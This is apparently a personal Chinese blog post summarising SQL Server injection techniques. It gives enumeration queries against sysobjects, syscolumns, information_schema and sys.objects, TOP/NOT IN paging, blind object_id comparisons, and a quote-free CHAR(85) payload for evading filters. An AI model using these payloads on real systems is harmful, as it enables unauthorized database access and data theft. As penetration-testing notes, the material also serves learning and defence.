一个抽象人的小站

# SQL Server 攻击总结 --注入

attack Tags: 无标签 阅读: 250

查库
select convert(int,db_name())
sysobjects

查当前表id
select id,name from sysobjects where xtype='u' //这里要记录下数据库的id

syscolumns
查表对应的列
select * from syscolumns where id =xxxx //上面查到的id

1.PNG

select top 1 name from syscolumns where id =2105058535 and name NOT IN(select top 1 name from syscolumns where id =2105058535) //用TOP 和NOT IN来限制数据

select TOP 1 username from test1 where username NOT IN(select TOP 1 username from test1)

2.PNG

select TOP 1 username from test1 where id NOT IN(select TOP 0 username from test1)

information_schema
查表 select table_name from information_schema.tables where table_schema='dbo'

3.PNG

查列 select column_name from information_schema.columns where table_name='test1'

5.PNG

关于sys.objects合sys.columns
这两个表同样也可以拿来注入 存在版本好像是sqlserver 2005版本以上就有 之前项目遇到一个注入点 但是sysobjects和information_schema给过滤 刚好可以用这两个表来达到注入效果
7.PNG

77.PNG
通过object_id来获取列名
88.PNG

实际注入中很少联合查询的注入 大多数都是盲注 像盲注这种情况 可以通过 (select object_id from sys.objects where name='XXX')>xxxx 来判断对应表的object id

2:无单引号注入
之前一直没有考虑到单引号这一点 最近项目遇到 研究以下

首先是查sysobjects爆id字段
select id from (select id from sysobjects where xtype=CHAR(85))as b where id>2000000000
1.PNG

常见情况
select * from aab where ID=1 and (select id from sysobjects where xtype=CHAR(85))>10000000000
2.PNG

大概就是这样 其他大同小异

发表评论